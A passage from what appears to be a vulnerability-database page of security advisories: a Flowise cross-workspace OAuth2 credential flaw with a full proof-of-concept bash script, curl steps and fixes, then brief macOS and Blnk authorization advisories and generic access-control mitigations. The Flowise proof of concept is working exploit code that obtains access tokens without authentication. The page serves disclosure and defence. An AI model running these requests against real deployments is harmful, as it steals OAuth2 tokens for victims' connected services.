required)\n```\n\n**Response:**\n```json\n{\n  \"success\": true,\n  \"credentialId\": \"\u003cVICTIM_CREDENTIAL_UUID\u003e\",\n  \"tokenInfo\": {\n    \"access_token\": \"new-access-token-value\",\n    \"token_type\": \"Bearer\",\n    \"expires_in\": 3600,\n    \"has_new_refresh_token\": false,\n    \"expires_at\": \"2026-04-13T12:00:00.000Z\"\n  }\n}\n```\n\nThe fresh `access_token` is returned directly in the response body (line 393-401), giving the attacker a valid OAuth2 token for whatever service the victim credential is connected to.\n\n---\n\n## Proof of Concept\n\n### Prerequisites\n\n- A running Flowise instance with at least two workspaces (Workspace A and Workspace B)\n- An OAuth2 credential configured in Workspace B (the victim)\n- The credential UUID of the victim credential (obtainable by any member of Workspace B, or via IDOR \u2014 see Finding 4)\n\n### Step 1 \u2014 Confirm unauthenticated refresh endpoint is reachable\n\n```bash\n# No cookies, no Bearer token \u2014 completely unauthenticated\nFLOWISE_URL=\"https://TARGET_INSTANCE\"\nVICTIM_CRED_ID=\"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\"\n\ncurl -s -X POST \"${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}\" \\\n  -H \"Content-Type: application/json\"\n```\n\n**Expected result if credential exists and has a refresh token:**\n```json\n{\n  \"success\": true,\n  \"message\": \"OAuth2 token refreshed successfully\",\n  \"credentialId\": \"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\",\n  \"tokenInfo\": {\n    \"access_token\": \"\u003cVALID_ACCESS_TOKEN\u003e\",\n    \"token_type\": \"Bearer\",\n    \"expires_in\": 3600,\n    \"has_new_refresh_token\": false,\n    \"expires_at\": \"2026-04-13T...\"\n  }\n}\n```\n\n**Expected result if credential not found:**\n```json\n{\n  \"success\": false,\n  \"message\": \"Credential not found\"\n}\n```\n\n### Step 2 \u2014 Cross-workspace authorize (requires any valid session)\n\n```bash\n# Attacker is authenticated in Workspace A\n# They target a credential UUID from Workspace B\nATTACKER_COOKIE=\"connect.sid=s%3A...\"\n\ncurl -s -X POST \"${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}\" \\\n  -H \"Cookie: ${ATTACKER_COOKIE}\" \\\n  -H \"Content-Type: application/json\"\n```\n\n**Expected result \u2014 victim credential\u0027s OAuth2 config is leaked:**\n```json\n{\n  \"success\": true,\n  \"credentialId\": \"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\",\n  \"authorizationUrl\": \"https://login.microsoftonline.com/.../authorize?client_id=VICTIM_CLIENT_ID\u0026scope=VICTIM_SCOPES\u0026...\",\n  \"redirectUri\": \"https://TARGET_INSTANCE/api/v1/oauth2-credential/callback\"\n}\n```\n\n### Step 3 \u2014 Forge callback to inject attacker-controlled tokens\n\n```bash\n# Attacker sets up a rogue OAuth2 provider that returns crafted tokens,\n# OR intercepts a legitimate flow.\n# The state parameter is the victim credential UUID.\n\ncurl -s \"${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=ATTACKER_CODE\u0026state=${VICTIM_CRED_ID}\"\n```\n\nThe server POSTs the `code` to the credential\u0027s `accessTokenUrl`. If the attacker controls the OAuth2 provider (or has a valid code), the returned tokens are written into the victim\u0027s credential.\n\n### Full automated PoC script\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\n# ---- Configuration ----\nFLOWISE_URL=\"${1:?Usage: $0 \u003cflowise_url\u003e \u003cvictim_credential_uuid\u003e [attacker_cookie]}\"\nVICTIM_CRED_ID=\"${2:?Usage: $0 \u003cflowise_url\u003e \u003cvictim_credential_uuid\u003e [attacker_cookie]}\"\nATTACKER_COOKIE=\"${3:-}\"\n\necho \"=== OAuth2 Cross-Workspace Credential Hijacking PoC ===\"\necho \"Target:     ${FLOWISE_URL}\"\necho \"Credential: ${VICTIM_CRED_ID}\"\necho \"\"\n\n# --- Attack Vector 1: Unauthenticated token refresh ---\necho \"[1] Attempting unauthenticated token refresh...\"\nREFRESH_RESP=$(curl -s -w \"\\n%{http_code}\" -X POST \\\n  \"${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}\" \\\n  -H \"Content-Type: application/json\")\n\nHTTP_CODE=$(echo \"${REFRESH_RESP}\" | tail -1)\nBODY=$(echo \"${REFRESH_RESP}\" | head -n -1)\n\nif [ \"${HTTP_CODE}\" = \"200\" ]; then\n  echo \"[!] VULNERABLE \u2014 Unauthenticated token refresh succeeded\"\n  echo \"    Response: ${BODY}\" | head -c 500\n  echo \"\"\nelif echo \"${BODY}\" | grep -q \"Credential not found\"; then\n  echo \"[*] Credential not found (UUID may be invalid)\"\nelif echo \"${BODY}\" | grep -q \"Missing required\"; then\n  echo \"[*] Credential exists but has no refresh_token (no prior OAuth2 flow)\"\n  echo \"    This still confirms the endpoint is reachable without auth\"\nelse\n  echo \"[*] HTTP ${HTTP_CODE}: ${BODY}\" | head -c 300\nfi\necho \"\"\n\n# --- Attack Vector 2: Cross-workspace authorize (needs session) ---\nif [ -n \"${ATTACKER_COOKIE}\" ]; then\n  echo \"[2] Attempting cross-workspace authorize...\"\n  AUTH_RESP=$(curl -s -w \"\\n%{http_code}\" -X POST \\\n    \"${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}\" \\\n    -H \"Cookie: ${ATTACKER_COOKIE}\" \\\n    -H \"Content-Type: application/json\")\n\n  HTTP_CODE=$(echo \"${AUTH_RESP}\" | tail -1)\n  BODY=$(echo \"${AUTH_RESP}\" | head -n -1)\n\n  if [ \"${HTTP_CODE}\" = \"200\" ]; then\n    echo \"[!] VULNERABLE \u2014 Cross-workspace credential access confirmed\"\n    echo \"    Leaked authorization URL:\"\n    echo \"${BODY}\" | python3 -m json.tool 2\u003e/dev/null || echo \"    ${BODY}\" | head -c 500\n  else\n    echo \"[*] HTTP ${HTTP_CODE}: ${BODY}\" | head -c 300\n  fi\nelse\n  echo \"[2] Skipped cross-workspace authorize (no attacker cookie provided)\"\nfi\necho \"\"\n\n# --- Attack Vector 3: Confirm callback is unauthenticated ---\necho \"[3] Confirming callback endpoint is unauthenticated...\"\nCALLBACK_RESP=$(curl -s -w \"\\n%{http_code}\" \\\n  \"${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=poc_test_code\u0026state=${VICTIM_CRED_ID}\")\n\nHTTP_CODE=$(echo \"${CALLBACK_RESP}\" | tail -1)\n\n# Any response other than 401/403 confirms the endpoint is reachable without auth.\n# A 400 with \"token_exchange_failed\" means the endpoint processed the request\n# (tried to exchange the code) \u2014 it just failed at the external provider.\nif [ \"${HTTP_CODE}\" = \"401\" ] || [ \"${HTTP_CODE}\" = \"403\" ]; then\n  echo \"[*] Callback endpoint returned ${HTTP_CODE} \u2014 auth is enforced (NOT vulnerable)\"\nelse\n  echo \"[!] VULNERABLE \u2014 Callback endpoint reachable without auth (HTTP ${HTTP_CODE})\"\n  echo \"    The server attempted to process the OAuth2 callback.\"\n  echo \"    With a valid authorization code, tokens would be written to the credential.\"\nfi\n\necho \"\"\necho \"=== PoC Complete ===\"\n```\n\n---\n\n## Impact\n\n| Vector | Auth Required | Impact |\n|--------|--------------|--------|\n| Credential metadata leak via `/authorize` | Low (any session) | Exposes `client_id`, `scope`, `redirect_uri` from any workspace\u0027s credential |\n| Token injection via `/callback` | None | Overwrite any credential\u0027s stored OAuth2 tokens with attacker-controlled values |\n| Token theft via `/refresh` | None | Obtain a fresh `access_token` for any credential\u0027s connected service (Microsoft 365, Google, etc.) |\n\n**Chained impact:** An attacker who obtains a single credential UUID (via IDOR, log exposure, or brute-force of UUIDs) can silently refresh and steal OAuth2 access tokens for external services like Microsoft Graph, Google Workspace, or any custom OAuth2 provider \u2014 without any authentication to the Flowise instance.\n\n---\n\n## Affected Components\n\n| File | Lines | Issue |\n|------|-------|-------|\n| `packages/server/src/routes/oauth2/index.ts` | 80-82 | `findOneBy({ id })` \u2014 no `workspaceId` |\n| `packages/server/src/routes/oauth2/index.ts` | 183-185 | `findOneBy({ id: state })` \u2014 no `workspaceId` |\n| `packages/server/src/routes/oauth2/index.ts` | 314-316 | `findOneBy({ id })` \u2014 no `workspaceId` |\n| `packages/server/src/utils/constants.ts` | 40 | `/callback` whitelisted from auth |\n| `packages/server/src/utils/constants.ts` | 41 | `/refresh` whitelisted from auth |\n\n---\n\n## Remediation\n\n1. **Add `workspaceId` to all credential lookups** in the OAuth2 routes, matching the pattern already used in `services/credentials/index.ts:130-132`:\n\n```typescript\n// Before (vulnerable)\nconst credential = await credentialRepository.findOneBy({ id: credentialId })\n\n// After (fixed)\nconst credential = await credentialRepository.findOneBy({\n    id: credentialId,\n    workspaceId: req.user?.activeWorkspaceId\n})\n```\n\n2. **Remove `/callback` and `/refresh` from `WHITELIST_URLS`** or implement a signed, time-limited state token that authenticates the callback without a session.\n\n3. **Replace the `state` parameter** with a cryptographically random nonce bound to the user\u0027s session (see also Finding 8).\n\n4. **Do not return `access_token` in the `/refresh` response body.** The token should only be stored server-side in the encrypted credential data, never sent to the caller.\n\n---",
  "id": "GHSA-wch5-xp77-fxg4",
  "modified": "2026-08-04T18:01:29Z",
  "published": "2026-08-04T18:01:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wch5-xp77-fxg4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise: Cross-Workspace OAuth2 Credential Metadata Leak"
}

GHSA-WCQR-6GJ6-96WC

Vulnerability from github – Published: 2024-12-12 03:33 – Updated: 2025-11-04 00:32
VLAI
Details

The issue was addressed with improved permissions logic. This issue is fixed in macOS Sequoia 15.2, macOS Sonoma 14.7.2. An app may be able to modify protected parts of the file system.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-54495"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-12T02:15:30Z",
    "severity": "MODERATE"
  },
  "details": "The issue was addressed with improved permissions logic. This issue is fixed in macOS Sequoia 15.2, macOS Sonoma 14.7.2. An app may be able to modify protected parts of the file system.",
  "id": "GHSA-wcqr-6gj6-96wc",
  "modified": "2025-11-04T00:32:14Z",
  "published": "2024-12-12T03:33:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54495"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/121839"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/121840"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Dec/7"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Dec/8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WCR3-9X4C-F5GJ

Vulnerability from github – Published: 2026-06-26 22:31 – Updated: 2026-06-26 22:31
VLAI
Summary
Blnk has an API key authorization bypass in owner and scope enforcement
Details

Blnk API key endpoints had an authorization issue that allowed non-master API keys to perform key-management actions outside their intended authorization boundary.

In affected versions, API key operations trusted caller-controlled request values for owner and scope decisions. As a result, a non-master API key could potentially manage keys for another owner by supplying a different owner value, or create a more privileged API key by requesting broader scopes than it already had.

This has been fixed by deriving the effective owner from the authenticated API key and enforcing scope coverage checks when creating new keys.

Details

The API key authorization flow previously trusted request data supplied by the caller when deciding which owner a key-management operation applied to and which scopes could be granted.

This meant a non-master API key could potentially:

  • create API keys for another owner
  • list API keys belonging to another owner
  • revoke API keys belonging to another owner
  • create a new API key with broader scopes than the caller’s own scopes

The patched version changes this behavior for non-master API keys:

  • the effective owner is derived from the authenticated API key
  • caller-supplied owner values are no longer trusted for authorization decisions
  • cross-owner key operations are rejected with 403 Forbidden
  • requested scopes must be covered by the caller’s existing scopes
  • master-key behavior is unchanged

Impact

A non-master API key with access to API key management endpoints could potentially perform unauthorized key-management operations across owners or escalate its permissions by creating a new API key with broader scopes.

Deployments using API keys for programmatic key creation, listing, or revocation should upgrade.

Affected versions

Versions up to and including v0.14.2 are affected.

Patched versions

This issue is fixed in v0.14.3.

Users should upgrade to v0.14.3 or later.

Workarounds

If developers cannot upgrade their applications immediately, restrict access to API key management endpoints to trusted master keys only.

Where possible, disable or block non-master API key access to key creation, listing, and revocation endpoints until the patched version is deployed.

Credits

Blank thanks @Shivam8584 for identifying and fixing this issue.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.14.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/blnkfinance/blnk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.14.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T22:31:03Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Blnk API key endpoints had an authorization issue that allowed non-master API keys to perform key-management actions outside their intended authorization boundary.\n\nIn affected versions, API key operations trusted caller-controlled request values for owner and scope decisions. As a result, a non-master API key could potentially manage keys for another owner by supplying a different owner value, or create a more privileged API key by requesting broader scopes than it already had.\n\nThis has been fixed by deriving the effective owner from the authenticated API key and enforcing scope coverage checks when creating new keys.\n\n## Details\n\nThe API key authorization flow previously trusted request data supplied by the caller when deciding which owner a key-management operation applied to and which scopes could be granted.\n\nThis meant a non-master API key could potentially:\n\n- create API keys for another owner\n- list API keys belonging to another owner\n- revoke API keys belonging to another owner\n- create a new API key with broader scopes than the caller\u2019s own scopes\n\nThe patched version changes this behavior for non-master API keys:\n\n- the effective owner is derived from the authenticated API key\n- caller-supplied owner values are no longer trusted for authorization decisions\n- cross-owner key operations are rejected with `403 Forbidden`\n- requested scopes must be covered by the caller\u2019s existing scopes\n- master-key behavior is unchanged\n\n## Impact\n\nA non-master API key with access to API key management endpoints could potentially perform unauthorized key-management operations across owners or escalate its permissions by creating a new API key with broader scopes.\n\nDeployments using API keys for programmatic key creation, listing, or revocation should upgrade.\n\n## Affected versions\n\nVersions up to and including `v0.14.2` are affected.\n\n## Patched versions\n\nThis issue is fixed in `v0.14.3`.\n\nUsers should upgrade to `v0.14.3` or later.\n\n## Workarounds\n\nIf developers cannot upgrade their applications immediately, restrict access to API key management endpoints to trusted master keys only.\n\nWhere possible, disable or block non-master API key access to key creation, listing, and revocation endpoints until the patched version is deployed.\n\n## Credits\n\nBlank thanks @Shivam8584 for identifying and fixing this issue.",
  "id": "GHSA-wcr3-9x4c-f5gj",
  "modified": "2026-06-26T22:31:03Z",
  "published": "2026-06-26T22:31:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/blnkfinance/blnk/security/advisories/GHSA-wcr3-9x4c-f5gj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/blnkfinance/blnk"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Blnk has an API key authorization bypass in owner and scope enforcement"
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.